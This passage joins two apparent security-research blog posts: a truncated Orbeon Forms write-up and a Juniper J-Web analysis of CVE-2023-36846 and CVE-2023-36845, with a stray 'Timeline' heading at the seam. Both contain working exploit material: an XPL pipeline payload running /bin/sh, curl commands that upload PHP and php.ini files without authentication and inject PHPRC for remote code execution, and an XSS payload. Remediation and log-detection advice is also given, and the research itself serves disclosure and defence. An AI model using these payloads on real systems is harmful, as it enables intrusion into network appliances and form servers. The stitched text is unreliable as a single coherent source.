We can see, by looking at the route declaration in the previously discussed page-flow.xml file for this particular endpoint (/src/main/webapp/WEB-INF/resources/apps/sandbox-transformations/page-flow.xml), there is no explicit mention of the/xpath/ route that we played with above, but is infact matched by a regex pattern after /sandbox-transofrmations/:

<controller xmlns="<http://www.orbeon.com/oxf/controller>" matcher="regexp">

    <page path="/sandbox-transformations/([^/]+)/"
          default-submission="parameters.xml" view="view.xhtml">
        <setvalue ref="/*/name" matcher-group="1"/>
    </page>

    <page path="/sandbox-transformations/([^/]+)/run" view="${1}/run.xpl"/>
    <page path="/sandbox-transformations/([^/]+)/input" view="${1}/input.xml"/>
    <page path="/sandbox-transformations/([^/]+)/transformation" view="${1}/transformation.xml"/>

    <epilogue url="oxf:/config/epilogue.xpl"/>

</controller>

A quick grep through the code reveals there to be further hidden application routes that can be accessed through this regex pattern:

/xpath/
/xslt/
/schema/
/xpl/

Remote Code Execution through the transformation of an XSLT file is well-trodden ground - thus, the /xslt/ endpoint drew attention.

This page requests similar input to the /xpath route we saw previously, in that we’re presented with an XML-style input, however now it’s followed by an XSLT definition which is then applied to transform the provided XML document.

If you’re not experienced exploiting XSLT’s, one of the first motions you can go through is to determine the backend library being used. Different libraries come with their own inherent vulnerabilities (CVEs) as well as different functionality that may be abused.

This template allows us to enumerate what the application is using:

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>">
<xsl:template match="/">
 Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 <xsl:if test="system-property('xsl:product-name')">
 Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:product-version')">
 Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:is-schema-aware')">
 Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-serialization')">
 Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
 </xsl:if>
 <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
 </xsl:if>
</xsl:template>
</xsl:stylesheet>

It was not possible to escalate to RCE using the techniques mentioned in Agarri’s article linked above, or for us to write to a file using the result-file function. Reviewing application error logs suggested this functionality has been explicitly disabled:

Shielded from any feelings of defeat, but knowing that shells on .gov are within reach, the /xpl/ route was dived into and initially appeared to be quite promising.

After initially reviewing the sample code provided, we understood as to why the prior XSLT activities were proving unsuccessful - our problems were likely coming from the processor with type ox:xslt. Thus, naturally - we dived into the definition of that processor to figure out why.

Processors are defined within the file /src/main/resources/processors.xml. Examining this file we can see the processor tagged by name, with some kind of instantiation referring to a class it references:

<processor name="oxf:xslt">
	<instantiation name="oxf:builtin-saxon"/>
</processor>

We also see a different processor named oxf:unsafe-xslt, which appears to disable a whole host of security-sensitive functions (like result-file that we tried to use before).

In totality  - we have no less than 130 processors to choose from.

A quick search for the keywords that would provide quick wins, quickly provides a promising candidate:

<processor name="oxf:execute-processor">
	<class name="org.orbeon.oxf.processor.execute.ExecuteProcessor"/>
</processor>

A brief, famously cursory look at the referenced class, org.orbeon.oxf.processor.execute.ExecuteProcessor, shows references to the org.apache.tools.ant.taskdefs.ExecTask class, and some handling of its output via outputStdout and outputStderr methods.

Sounds like another fantastic improvement on the HTML <form> tag.

This is clearly the ‘diamond in the rough’ processor that we were looking for. To check that the custom processor is callable, we quickly inject the following processor declaration into the /xpl form and set a breakpoint in my debugger:

<p:processor name="oxf:execute-processor">
</p:processor>

What a stroke of luck - the breakpoint triggers, indicating that our processor is being parsed!

The next step is to figure out how to call the processor with valid inputs.

As luck would strike, we found an example file located in the source repo which demonstrates the use of the ExecuteProcessor at /src/examples-cli/execute/execute-command.xpl, and adapted it for my nefarious needs, changing the target binary to the usual /bin/sh, supplying some arguments, and transforming the output using a different processor to match an expected XML format:

Well, we get it now. HTML <forms> really did need innovation. We have pre-auth RCE, and well - a clear understanding of who might be vulnerable.

Payload in it’s final form (ha ha, get it?):

<!-- Defines the Namespaces Required -->
<p:config xmlns:p="<http://www.orbeon.com/oxf/pipeline>"
          xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
          xmlns:oxf="<http://www.orbeon.com/oxf/processors>">

<!-- Defines the RCE Processor -->
    <p:param name="data" type="output"/>
<p:processor name="oxf:execute-processor">
        <p:input name="config">
            <exec executable="/bin/sh" dir="/tmp/">
                <arg line="-c 'uname -a' "/>
            </exec>
        </p:input>
        <p:output name="stdout" id="stdout"/>
    </p:processor>

    <!-- Convert result and serialize to XML -->
    <p:processor name="oxf:xml-converter">
        <p:input name="config">
            <config>
                <encoding>UTF-8</encoding>
                <indent>true</indent>
                <indent-amount>4</indent-amount>
            </config>
        </p:input>
        <p:input name="data" href="#stdout"/>
        <p:output name="data" ref="data"/>
    </p:processor>

</p:config>

It’s A Feature, Not A Bug

After some time and reflection into both exploring this opportunity and writing this blog post, we looked at ourselves in the mirror. Demo code? Is this realistic? Did we gain or lose Internet points?

We arrived at the conclusion that we had gained Internet points. When initially installing Orbeon Forms, there are no obvious warnings or blockers to prevent introducing this vulnerable code into my “production” environments. A quick Google search to confirm if our level of intelligence reflected the “average user”, rapidly confirmed that - yes, we are not alone.

It would be wrong to not point out that looking through the documentation for Orbeon Forms, we can find here a list of items that “can” be removed from a production WAR file. This includes several demo JSP files as well as the interesting Demo Applications exploited above.

The truth is, In the hustle of software development where sprints are fast, deployments agile and environments complex, it is tough to keep track of every detail and possible security vulnerability for our code building friends. It's even harder when holes are built into a product you’re not square-inch familiar with and the recommendation to remove doesn’t come with loud .wav’s , <marquee> or pop-up boxes - or, an obnoxious <form>.

Having to directly edit and build your own WAR file to remove unknown vulnerabilities (based on our cursory (we love this word) search) shows that even the well-oiled, well-funded engineering teams also missed this memo.

<marqueee> * Please bring back marquee tags !* </marquee>

💡 A brief history lesson for my friends still reading this far down, If we take some examples that include dangerous functionality when pushed to production, you can get a feel for what i’m alluding to.

We owe a great Thankyou to artsploit for teaching us the way of Springboot Actuators, a bundled developer suite of diagnostic and debug endpoints which “can” be enabled without authentication. One such critical example of this is the /trace endpoint which returns to us a nicely JSON formatted output of all HTTP request logs, including headers (yum, cookies).

Laravel’s Ignition has had its problems with its debug functionality, that when enabled allowed for the introduction to a PHAR deserialization vulnerability. - https://hackmag.com/coding/laravel-ignition-rce/

Birt Report Viewer  - An Open-source report generation Tool used by large enterprises, this tool came bundled with its own ‘Example’ directory and ‘Sample’ template with controllable parameters. As the example could be triggered into generating a report with its own custom filename, a .JSP “report” could be created and sample data injected, allowing for Remote Code Execution.

In short, as hackers we’re no strangers to seeing unintended functionality being introduced to targets exposed to the Internet, simple documentation isn’t adequate enough to prevent this.

We reached out to the developers at Orbeon who have agreed that shipping the example code by default, bundled inside their production war files, does open up users to potential bad things.

• https://github.com/orbeon/orbeon-forms/issues/5944
• https://github.com/orbeon/orbeon-forms/issues/5943

They did provide us with this - “The whole purpose of the sandboxes is to allow remote code execution :)”.  Like we said, we have a lot of respect for innovation.

Remediation is documented, and provided by Orbeon as follows:

• Ensure the following Production WAR settings are implemented: https://doc.orbeon.com/configuration/advanced/production-war#what-can-be-removed
• Orbeon’s team has removed the examples being shipped by default in their 2023.1 build.

Our personal recommendation is to verify in your current setup that the example applications are not accessible, just visit your page: httpx://host/orbeon/home/xforms to see 🙂

Orbeon have been a pleasure to communicate and work with, and they’re correct in what we have stumbled upon is a feature and not a bug.

Unfortunately, the security world does not operate based on intention. What Orbeon haven’t accounted for is that relying on anyone to fully read any documentation, let alone to disable this feature (despite no glaring security warnings), inadvertently opens up their customers to exploitation.

Let's not forget the purpose of this application is to create forms for users to submit their data - data which is likely to be highly sensitive.

They weren’t kidding when they said enterprises and governments use this software.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

As part of our Continuous Automated Red Teaming and Attack Surface Management technology - the watchTowr Platform - we're incredibly proud of our ability to discover nested, exploitable vulnerabilities across huge attack surfaces.

Through our rapid PoC process, we enable our clients to understand if they are vulnerable to emerging weaknesses before active, indiscriminate exploitation can begin - continuously.

Because of this, a recent out-of-cycle Juniper security bulletin caught our attention, describing two bugs which, although only a 5.3 on the CVSS scale individually, supposedly could be combined for RCE (with a combined rating of 9.8 within CVSSv3 - we didn't know this was possible but anyway).

We're no strangers to "next-gen" firewalls and switches here at watchTowr (see our recent healthy obsession with Fortinet), and thus we are equally not strangers to the prolific nature of the bugs that seem to live in these so-called 'hardened appliances and devices'. As we are hopefully slowly demonstrating, these 'hardened appliances' are often the softest route into a network for an advanced attacker.

The bulletin actually contains four CVEs, as the two bugs apply to two separate platforms (the -EX switches and -SRX firewall devices). We'll focus just on the -SRX bugs, as we expect the -EX bugs to be identical. These are two individual flaws.

For the uninitiated, or those that don't spend their days browsing catalogues, Juniper -EX devices are switches, and -SRX devices are firewalls, "powered by Junos^® OS" and according to Juniper are an "integral part of Juniper Connected Security framework that protects your remote office, branch, campus, data center, and cloud by extending security to every point of connection on the network". Yes.

Anyway, back to the bulletin and the vulnerabilities described within.

The first, CVE-2023-36846, is described as a "Missing Authentication for Critical Function vulnerability", while the second, CVE-2023-36845, is described as a "PHP External Variable Modification vulnerability".

These, put mildly, sound interesting. Being the responsible, friendly hackers that we are, we decided to investigate in order to provide network administrators with more information to aid in the recurring 'patch or no patch' decision, and to aid in patch verification.

As of the time of writing, there is very little information available other than the terse security bulletin. Great!~

First Impressions

Since the advisory indicates that a workaround is to 'disable J-Web', we'll start there. J-Web is the web-based UI that can be used to configure the appliance by those who are reluctant to jump into the appliance's CLI interface.

Taking the metaphorical lid off the appliance quickly reveals that J-Web is almost entirely written in PHP, a language with a well-earned historic reputation of prioritising usability and ease-of-development over security.

Editors note: PHP is a great language, Aliz and Sonny are not enlightened.

A quick scroll through the PHP code suggests an ill-maintained platform, and indeed, very quickly we see thousands of 'code smells', mostly harmless typos and mistakes that don't impact functionality, but cause us to reduce confidence in the codebase. Comments such as "This is a hack until 9.4", found in version 22 of the codebase, suggest that proper care has not been taken to address technical debt accrued in the codebase's long 25-year lifespan.

We're not sure what's going on here, but it does not inspire confidence whatever it is:

//803142
function getLockerkey() {
    global $user;
    $keyvar = "js2nr0px1R2";
    $sysVersion = $user->xnm->command('show version',true,true,null);
    $sysVersion = $user->transform->strip_ns($sysVersion);
    $modelNo = $user->xpath->get_xpath_node_value($sysVersion,'//software-information/product-model');
    return base64_encode(substr($modelNo, 0, 6) . '$' . $keyvar);
}

and honestly, what is this?

    // Changing raw variable to take only request type
    //$raw = trim(stripslashes(file_get_contents('php://input')));
    $raw = $_POST['requestType'];
    $raw = substr($raw,1);
    $raw = 'requestType=>'.$raw;
    $input = array();
    $input = explode("#@^",$raw);
    foreach($input as $arg) {
        $params = array();
        $params = explode("=>",$arg);
        ${$params[0]} = $params[1];
    }

A quick look at most of the PHP files shows that authentication is managed by the user class, and the following pattern can be seen in most of the files that require authentication:

$user = new user(true);
if (!$user->is_authenticated()) {
    return;
}

While straightforward and readable, this approach can be error-prone, as each file requires a similar snippet, and if omitted, access can be granted unintentionally. Hunting through the codebase, we find that most files have the correct checks implemented - with a number of exceptions, including webauth_operation.php, that do not.

Instead of authenticating via the user class, it instead invokes the sajax_handle_client_request, but critically it provides a value of false for the doauth parameter, meaning that authentication will not be performed.

Going back to the bug we're hunting, this seems to align with a 'Missing Authentication' condition - this could be the n-day tracked as CVE-2023-36846 that we are looking for!

Can we persuade this webauth_operation.php file to do our bidding without a requirement for pesky authentication?

Well, it turns out we can.

Of $internal_functions

This webauth_operation expects to receive a POST request containing two variables - rs and rsargs. As you might expect, the first conveys the name of the operation to be carried out, and the second specifies any arguments which that operation expects.

Here's what the calling code looks like. We can see that the $internal_functions array contains handlers for functions, keyed by function name:

                //PR 826518, 1269932
                $sajax_black_list_functions = Array ("sajax_handle_client_request", "sajax_init", "errmsg_format_serialized_events");
                $internal_functions = get_defined_functions();

                if (! is_callable($func_name) || !in_array($func_to_call,$internal_functions["user"]) || in_array($func_to_call,$sajax_black_list_functions))
                        echo "-:function not callable";
                else {
         			error_log("PERF: ".$func_name." Start: ".date('Y-m-d H:i:s.') . gettimeofday()['usec']);
                    $result = call_user_func_array($func_name, $args);
          			error_log("PERF: ".$func_name." End: ".date('Y-m-d H:i:s.') . gettimeofday()['usec']);
                	if ($getQuery)
                		echo $result ;
                	else
                		echo trim(sajax_get_js_repr($result));
                }

The 'dispatch' code which handles these operations, however, is not a simple associative array as one might expect, and so extracting a list of operations isn't as simple as it may seem. We decided the 'path of least resistance' was to modify the PHP source file, and print out a list of operations. However, this turned out to be slightly more work than we anticipated.

Firstly, we noted that the PHP files were read-only.

Initially we thought they were deliberately mounted as such, and could simply be remounted read-write, but a little more investigation revealed that they are stored on an lzma-compressed ISO (yes, as in iso9660) volume. Some work went into modifying the iso file, recompressing with BSD's mkuzip tool, and booting the modified system, only to find that the compressed iso was rejected on boot, as it failed a signature check. D'oh! Shortly after this, we realised that the JunOS device provides support for union mounts - similar to Linux's overlayFS - and we were able to simply use that to emulate a writable partition.

 mkdir /root/writable
 mount_unionfs /root/writable /.mount/packages/mnt/jweb-srxtvp-29090167/jail/html/includes

With the files now writable, it is easy to add a quick PHP statement to write the contents of the internal_functions array to the HTML response.

$internal_functions = get_defined_functions();
echo var_dump($internal_functions['user']);

The result is almost 150 individual functions, spanning everything from simple helpers to format IP addresses to complex functions that interact with the appliance's CLI. One promising-looking candidate is the move_file function:

function move_file ($src, $dst, $overwrite = false, $copy = false) 
{
    global $user;

    $args = array(
		'source' => $src, 
		'destination' => $dst
    );

    if ($copy) {
		$rpc = 'file-copy';
    } else {
		$rpc = 'file-move';

		if ($overwrite) {
		    $args['replace'] = 'replace';
		}
    }

    $xml = $user->xnm->query($rpc, $args, false);

    if (strstr($xml, 'xnm:error')) {
		return $xml;
    } else {
		return null;
    }
}

While it does seem, at first glance, that this function is exactly the sort of 'interesting functionality' that we're looking for, unfortunately it is inaccessible to us. Attempting to invoke it results in a promising-looking HTTP 200 response, but no actual file moving takes places, and if we examine the the PHP log (/var/jail/sess/php.log) we see the following:

[25-Aug-2023 00:00:37 America/Los_Angeles] CACHING FLOW: query user not set..

This is a message from the junoscript class, which is the type of $user->xnm. Unfortunately, since we are not logged in, the junoscript class is not fully constructed, and we are unable to perform any queries over the RPC mechanism. This causes most of the interesting-looking internal_functions handlers to fail uninterestingly. Some of them, however, do not use the RPC mechanism to carry out their duty, and are thus able to run even though the junoscript is not fully logged in.

Interesting Internal Functions

We're at a convenient point now to circle back to the bug description of CVE-2023-36846, one of the bugs we are trying to reproduce. Let's take a close look at the vendor's advice:

With a specific request that doesn't require authentication an attacker is 
able to upload arbitrary files via J-Web, leading to a loss of integrity for 
a certain part of the file system

An arbitrary file upload bug. Taking a look through our list of $internal_functions, one stood out to us as being interesting in this context - one named do_upload, which is designed to handle the upload of a file.

It does, however, seem to be lacking any kind of authentication.

With no authentication requirement, we don't need any fancy tricks, and we can simply invoke the function as it is designed to be. It expects a single argument containing a JSON-encoded array. The array, as we can see in the code snippet below, should contain a fileName, a base64-encoded fileData, and a csize holding the target file size.

function do_upload($files) {
	$files = json_decode($files);
	foreach ($files as $file) {
		$fileData = $file->fileData;
		$intermediateSalt = md5(uniqid(rand(), true));
		$salt = substr($intermediateSalt, 0, 6);
		$token = hash("sha256", $file->fileName . $salt);
		//$token = md5(uniqid(rand(), true));
		$fileName = $token.getXSSEncodedValue($file->fileName);
		$fileName_extension = pathinfo($fileName, PATHINFO_EXTENSION);
		$fileName = $token . '.' . $fileName_extension;
		$csize = getXSSEncodedValue($file->csize);

		$fileData = substr($fileData, strpos($fileData, ",") + 1);
		$fileData = base64_decode($fileData);
		if (!check_filename($fileName, false)) {
			echo 'Invalid Filename';
			return;
		}
		$cf = "/var/tmp/" . $fileName;
		$byte = 1024 * 1024 * 4;
		if(file_exists($cf))
			unlink($cf);
		$fp = fopen($cf,'ab');
		if(flock($fp,LOCK_EX | LOCK_NB))
		{
			$ret = fwrite($fp,$fileData);		
			flock($fp, LOCK_UN);	
		}
		$rc = fclose($fp);//echo $ret;echo "|";echo $csize;die;
		if($ret == $csize) {
			$filenames['converted_fileName'][] = $fileName;
			$filenames['original_fileName'][] = $file->fileName;
		} else {
			$filenames[] = ''; //Error while uploading the file : miss-match in bytes 
		}
	}
	return $filenames;
}

Performing a POST without authentication yields a helpful response, telling us our file has been uploaded:

POST /webauth_operation.php HTTP/1.1
Host: xxxxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

rs=do_upload&rsargs[]=[{"fileName": "test.txt", "fileData": ",aGk=", "csize": 2}]

HTTP/1.1 200 OK
...

+:{"converted_fileName":  {0: '48cebc0d1548c854f2d5d52e65f3917f21e8c75894bcd9f9729c7322315f5ed0.txt'}, "original_fileName":  {0: 'test.txt'}}

Indeed, if we take a look on the appliance's filesystem, the file has been created with the correct contents. Neat.

root@:/ # cat /var/jail/tmp/48cebc0d1548c854f2d5d52e65f3917f21e8c75894bcd9f9729c7322315f5ed0.txt
hi

This is likely to be the first bug, CVE-2023-36846.

Attentive readers might be alarmed by the destination path of the file - the jail component suggests that the webserver is running in a BSD jail, which are a sort of Docker-like mechanism for isolating a processes userspace components (BSD proponents will no doubt want me to point out that jails predate Docker by a considerable margin, and I wouldn't want to risk offending them by omitting this otherwise-unrelated trivia). The jail doesn't actually get in our way very much as we progress with our research (and ultimately exploitation), but it's an important thing to bear in mind, as some paths later on will be relative to the jail root, /var/jail. This directory contains a full (albeit very minimal and stripped-down) userland for the operation of the webserver.

A Polluted Envonment

Satisfied that we've found the first bug, CVE-2023-36846, let's move on and look for the second, CVE-2023-36845. The vendor disclosure is terse:

Utilizing a crafted request an attacker is able to modify a certain PHP 
environment variable leading to partial loss of integrity, which may allow 
chaining to other vulnerabilities.

While this bug sounds like it resides in PHP code itself - as one would expect - we actually found it in a totally different location - the webserver itself.

You may notice that the webserver is the GoAhead software, which has had its share of flaws. Most notably, older versions (below 3.6.5) are prone to an environment variable injection attack (see here and here if you understand Chinese). Although the version of httpd on the Juniper appliance reports its version as 8.1.3, this bug seems to fit the description of what we're looking for. Since the PoC is very simple, let's give it a try - maybe we'll get lucky (spoiler: we do!)

The bug itself is really simple. It allows an attacker to set any environment variable simply by specifying the name of an uploaded file. For example, given the following HTTP request:

POST /modules/configuration/wizards/interfaces/widgets/wl.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Length: 145

------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="TestEnvVar"

hello.
------WebKitFormBoundary3J5uz6sSgaM1KIxB

The CGI handler, in our case PHP, will be started with the TestEnvVar environment variable set to hello.. To verify this, we modified the PHP files on the appliance once again, inserting a phpinfo call into one of the source files, and invoked it with a  POST request containing a file-type attachment:

POST /webauth_operation.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryngts3YOfQfRAEypQ
Content-Length: 147

------WebKitFormBoundaryngts3YOfQfRAEypQ
Content-Disposition: form-data; name="TestEnvVar"

hello.
------WebKitFormBoundaryngts3YOfQfRAEypQ--

Somewhat surprisingly, the phpinfo dump of environment variables shows that the environment variable has indeed been created!

This seems a bizarre situation, given the version numbering of the httpd binary. It is possible that the bug isn't actually in the GoAhead software at all, but rather in the Juniper-developed CGI glue. Either way, wherever the bug is, we've found it - we are able to 'pollute' the CGI environment by setting any environment variable we want to any content we wish. This is a pretty powerful primitive, and there are well-known ways of exploiting such a condition. Let's try them out.

Preloading Libraries

The usual exploit method for bugs of this class - the ability to set arbitrary environmental variables - is to set the LD_PRELOAD variable to point to a shared library file that we control. With the LD_PRELOAD variable set, the dynamic linker will helpfully pre-load the file we have under our control, giving us control over the machine.

In our case, we've uploaded a file into the filesystem already, using our previous bug.

Let's try it out! Note that we set the LD_LIBRARY_PATH to the /tmp directory, since it is relative to the jail root, and we set the LD_PRELOAD itself to the filename. We'll also set the LD_DEBUG variable so we can see what's going on if it fails - we've found this to be an invaluable resource when debugging anything relating to the dynamic linker.

POST /webauth_operation.php HTTP/1.1
...

------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="ld_library_path"

/tmp
------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="LD_PRELOAD"

c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so
------WebKitFormBoundary3J5uz6sSgaM1KIxB
Content-Disposition: form-data; name="LD_DEBUG"

ALL
------WebKitFormBoundary3J5uz6sSgaM1KIxB--

The response is somewhat disappointing:

HTTP/1.1 503 Service Unavailable
...

/libexec/ld-elf.so.1 is initialized, base address = 0x82d000
RTLD dynamic = 0x84ece8
RTLD pltgot  = 0
initializing thread locks
_rtld_thread_init: done
processing main program's program header
note osrel 1201524
note fctl0 0
note crt_no_init
AT_EXECPATH 0xffffdfe3 /usr/bin/php
obj_main path /usr/bin/php
Filling in DT_DEBUG entry
/usr/bin/php valid_hash_sysv 1 valid_hash_gnu 1 dynsymcount 970
lm_init("(null)")
lm_parse_file: open("/etc/libmap.conf") failed, No such file or directory
loading LD_PRELOAD libraries
 Searching for "c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so"
lm_find("(null)", "/tmp")
lmp_find("$DEFAULT$")
  Trying "/tmp/c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so"
  Failed to open "/tmp/c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so": Authentication error
search_library_pathfds('c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so', '(null)', fdp)
ld-elf.so.1: Shared object "c2d9044eb69490365d370f0886fe7a30c608588acac21164e31319e046dd4f6e.so" not found

What's going on here?! We can see that the dynamic linker has correctly located our library, but that it has failed with the error message "Authentication error".

Well, I'm not afraid to admit we spent quite some time debugging this failure.!

Eventually, in a moment of insight, we copied a legitimate binary from the system's /lib dir into the tmp directory, and attempted to invoke it - only to be met with the same Authentication error message:

root@:/var/jail/tmp # /lib/libfetch.so.6
Segmentation fault (core dumped)
# That's okay, at least it's executing something

root@:/var/jail/tmp # cp /lib/libfetch.so.6 .
root@:/var/jail/tmp # ./libfetch.so.6
./libfetch.so.6: Authentication error.
# HUH?!

What's going on here? Our first thought was that the tmp filesystem was mounted with some kind of noexec flag, but that's not the case. What's preventing our binary from being loaded?

Well, it turns out that Juniper is (wisely) using a tool named veriexec, which will limit execution to binaries which have a valid signature - and also verify their location on the filesystem. This means that attempts to upload and execute a payload will fail, since our payloads will be located in a location not whitelisted (and also because they are not cryptographically signed). Great for security, but bad for us - what now? How can we get RCE without the ability to execute any of our own binaries?!

We don't need no steenkin' binaries

The answer, of course, is to use the binaries that are already on the system. While the system is (sensibly) quite minimal, presumably to prevent exactly this kind of attack, there is still one behemoth of an executable at our disposal - PHP itself. The question then becomes, "How can we direct PHP to execute arbitrary code using only environment variables?"

Well, as you can see in the LD_DEBUG output above, we are influencing the execution of /usr/bin/php. Therefore, we dug into environmental variables that can be used to influence the PHP binary at execution.

We soon realised that we could use the PHPRC environment variable, which instructs PHP on where to locate its configuration file, usually called php.ini. We can use our first bug to upload our own configuration file, and use PHPRC to point PHP at it. The PHP runtime will then duly load our file, which then contains an auto_prepend_file entry, specifying a second file, also uploaded using our first bug. This second file contains normal PHP code, which is then executed by the PHP runtime before any other code.

So, in more detail, our bug chain becomes:

1) Use bug #1 (the do_upload bug) to upload a PHP file containing our shellcode

2) Use bug #1 to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1

3) Use bug #2 to set the PHPRC variable to the file we uploaded in step 2.

Et voilà! RCE!

Here's a complete example chain.

First, upload our PHP file. In this case, we'll just upload a phpinfo script. Since the do_upload operation expects the file contents to be base64-encoded, we'll do that!

$ cat payload.php
<?php 
phpinfo();
?>
$ base64 < payload.php
PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "test.php", "fileData": ",PD9waHAgDQpwaHBpbmZvKCk7DQo/Pg==", "csize": 22}]'
+:{"converted_fileName":  {0: '7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php'}, "original_fileName":  {0: 'test.php'}}
$

Great, now we have our PHP file uploaded as 7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php. Our 'step 1' is complete - now to upload the new php.ini configuration file.

$ cat php.ini
auto_prepend_file="/var/tmp/7079310541ded7b00eae61d26427a997f956cd68a2836dde21e6b53406106bda.php"
$ base64 < php.ini
YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0Mjdh
OTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==
$ curl --insecure https://xxxxxxx/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "php.ini", "fileData": ",YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzcwNzkzMTA1NDFkZWQ3YjAwZWFlNjFkMjY0MjdhOTk3Zjk1NmNkNjhhMjgzNmRkZTIxZTZiNTM0MDYxMDZiZGEucGhwIg==", "csize": 97}]'
+:{"converted_fileName":  {0: '0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini'}, "original_fileName":  {0: 'php.ini'}}

Okay, so far so good - we have our configuration file stored as 0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini. The last peice of the puzzle is to inject the PHPRC environment variable using our second bug:

$ curl -X POST --insecure https://xxxxxx/webauth_operation.php -F "PHPRC=/tmp/0c1de7614b936d72deebd90a99a6885960102ba051ab02e598ec209566e2a820.ini"

Our reward is the PHPinfo output, as we expect.

Of course, making three HTTP requests is tedious, and so we've automated the process and wrapped it up in a nice exploit available on our GitHub.

Other bits and bobs

While searching through the $internal_operations functions, we found a few other things that were perhaps not as earth-shattering as RCE, but speak to the quality of the codebase. We noted trivial reflected XSS in a few endpoints, such as emit_debug_note and sajax_show_one_stub, which would simply format and echo their parameters with the all-important Content-Type: text/html header set, allowing a really easy XSS for any attacker who cares to make a cursory glance over the code:

function 
emit_debug_note (&$debug_back_trace, $label = '', $as_comment = false) 
{
    if ($as_comment == true) {
		print "\n<!--";
    }
   
    print "<h3><b>ERROR: $label</b></h3><br><br>";

    print pretty_backtrace($debug_back_trace);

    if ($as_comment == true) {
		print "-->\n";
    }
}

One would expect that a 'hardened' appliance such as a next-generation firewall or switch would avoid such obvious flaws. Simply specifying a body of rs=emit_debug_note&rsargs[]=1,&rsargs[]=<script>alert('watchTowr says hi')</script>" is enough to pop a message box - no fancy filter evasion required. Classy.

I guess we'll apply for CVEs for these at some point - but hardly earth-shattering.

Aftermath

We hope this painstaking research is useful to administrators who want more information about the vulnerabilities before deciding if they should patch, and (should they decide to) that it is also useful for those who need to verify that patches have been applied.

We carried out this research using an EC2-hosted SRX device, and were dismayed to find that it is seemingly impossible for us to actually patch the device to latest. Updates are only available to registered users, and it seems that the EC2 integration which performs registration is faulty.

Of course, we're directed to contact support, which is impossible without.. a registered account. D'Oh!

If you find yourself in a similar situation, or if you'd rather not patch for some reason, we suggest following Juniper's advice to disable the J-Web service completely, or restrict it to (very) trusted users.

Those who have not yet patched and are concerned about the integrity of their systems may wish to check the PHP log files on the appliance, looking for messages similar to the following:

[24-Aug-2023 13:47:29 America/Los_Angeles] Array
(
    [type] => 8
    [message] => Trying to access array offset on value of type null
    [file] => /html/core/session.php
    [line] => 47
)

This error message is a direct result of anonymous access without a valid session, and while not conclusive, may indicate an attack is being attempted. Another item that may be of interest to defenders is the following:

[24-Aug-2023 07:23:38 America/Los_Angeles] CACHING FLOW: query user not set..

This entry, while not indicative of a successful attack, suggests that an action has been attempted via an API endpoint without supplying authentication information, as a possible consequence of an attacker exploring the API to discover useful functionality. An example of an action that causes this message is the move_item operation (see above).

Given the simplicity of exploitation, and the privileged position that JunOS devices hold in a network, we would not be surprised to see large-scale exploitation.

Proof of Concept

Alas, because we enjoyed exploiting this chain of vulnerabilities to achieve unauthenticated RCE so much, we've published our PoC:

https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844

Closing words

This is an interesting bug chain, utilising two bugs that would be near-useless in isolation and combining them for a 'world ending' unauthenticated RCE.

While the quality of the code is much aligned with other devices in its class, such as the Fortiguard and Sonicwall devices we've been breaking, it is worth pointing out here that Juniper's use of veriexec was a wise move, as it complicates code and command execution. However, it is not enough to prevent determined attackers - watchTowr researchers took around half an hour to circumvent it (and, I'll admit, much longer to realise it was in effect).

Those running an affected device are urged to update to a patched version at their earliest opportunity, and/or to disable access to the J-Web interface if at all possible.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic exploitable vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

